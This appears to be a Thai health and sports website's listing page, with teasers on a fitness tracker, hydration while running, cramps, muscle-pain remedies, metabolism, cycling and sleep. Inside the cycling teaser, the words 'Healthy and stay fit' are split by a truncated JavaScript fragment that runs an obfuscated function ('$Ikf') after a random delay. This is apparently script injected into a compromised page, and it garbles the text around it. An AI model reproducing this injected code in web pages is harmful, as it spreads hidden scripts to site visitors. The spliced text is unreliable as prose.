และแล้ว Runtastic ก็ได้เปิดตัวอุปกรณ์ใหม่ที่เป็น Fitness Tracker สำหรับตรวจวัดความเคลื่อนไหวและเก็บข้อมูลด้านสุขภาพของผู้ใช้ ควบคู่ไปกับแอพของ Runtastic ที่ทำให้คุณรู้ว่าตัวเองตอนนี้ฟิตขนาดไหนแล้ว
ดื่มอะไรดี : What to drink? ระหว่างวิ่งเคยคิดมั้ยว่าจะดื่มอะไรที่สามารถชดเชยเหงื่อและเกลือแร่ที่สูญเสียไป น้ำเปล่า สปอนเซอร์ หรือเกเตอเรดดี
กีฬาทำให้ดูดีขึ้นจริงๆ มาดูกันว่าเมื่อพนักงานออฟฟิศถูกจับมาเปลี่ยนลุค ถ่ายภาพเป็นนักกีฬามืออาชีพ พวกเขาดูเท่ขึ้นมาอย่างผิดหูผิดตากันเลยทีเดียว
กล้วย ไม่ใช่อาหารที่สามารถป้องกันการเกิดตะคริวได้ดีที่สุด ไม่ได้อุดมไปด้วยแมกนิเซียมมากเท่าที่เราคิดซักเท่าไหร่
สำหรับท่านที่ต้องการและชอบกำลังกายเป็นชีวิตจิตใจ เรามีธรรมชาติบำบัด 9 อย่างเพื่อป้องกันการเจ็บกล้ามเนื้อและบรรเทาอาการปวด
วันนี้ StepExtra จะพามาดู 6 เคล็ดลับในการเพิ่มอัตรา metaabolism เพื่อหน้าท้องเเบนราบ
จักรยานเป็นกีฬาประเภท low impact และสามารถออกไปตัวเนื่องเป็นเวลานาน พยายามปั่นให้บ่อย สนุกกับมัน หาเพื่อนไปด้วย เเค่นีก็ Healthy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stay fit ...
ตามการเเนะนำของสาธารณสุข นิตยสารสุขภาพหรือหน่อยงานที่เกี่ยวข้องกับสุขภาพต่างก็เเนะนำให้เรานอนอย่างน้อย 7.5-9 ชั่วโมงต่อวัน
Run more, Spin More
เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา
